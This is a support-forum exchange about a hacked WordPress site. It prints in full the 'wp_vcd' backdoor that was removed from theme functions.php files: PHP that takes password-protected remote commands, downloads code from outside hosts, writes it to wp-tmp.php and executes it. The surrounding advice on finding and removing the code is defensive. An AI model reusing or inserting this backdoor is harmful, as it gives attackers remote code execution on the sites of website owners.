Hi,

You site had been hacked.

I removed malicious code from the functions.php of the mail theme and child theme. You need to check all the themes you installed and remove this code:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'c3538061d6bf79239fd56bdddba9974d'))
    {
$div_code_name="wp_vcd";
        switch ($_REQUEST['action'])
            {
                
                case 'change_domain';
                    if (isset($_REQUEST['newdomain']))
                        {
                            
                            if (!empty($_REQUEST['newdomain']))
                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                            {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                                       $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                                       @file_put_contents(__FILE__, $file);
                                                               print "true";
                                                                                                             }
                                                                            }
                                }
                        }
                break;
                                case 'change_code';
                    if (isset($_REQUEST['newcode']))
                        {
                            
                            if (!empty($_REQUEST['newcode']))
                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                            {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                                       $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                                       @file_put_contents(__FILE__, $file);
                                                               print "true";
                                                                                                             }
                                                                            }
                                }
                        }
                break;
                
                default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
            }
            
        die("");
    }
$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
           {
           }
            else
            {
            $tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?php\n" . $phpCode);
            }
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='b3de80aaa27f65938be458451c3ac075';
        if (($tmpcontent = @file_get_contents("http://www.poxford.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.poxford.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.poxford.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif (($tmpcontent = @file_get_contents("http://www.poxford.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.poxford.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        }
        
        
        
        
        
    }
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?> 

Try to download all the wordpress to your PC and search:

$div_code_name="wp_vcd";

So you'll see where malicious code added... After remove it on your server.

Yes.

No, you didn't remove it, example:

/public_html/wp-content/themes/twentysixteen/functions.php

In the top

Change the pass to FTP and WP admin and don't install the themes and plugins from the unverified sources.

 I didn't looked in the plugins. You need to find  malicious code yourself.

Hi,

Most likely you got this issue from the one of the third-party plugin. So in my mind you need to check folder:

/wp-content/plugins

Deeply.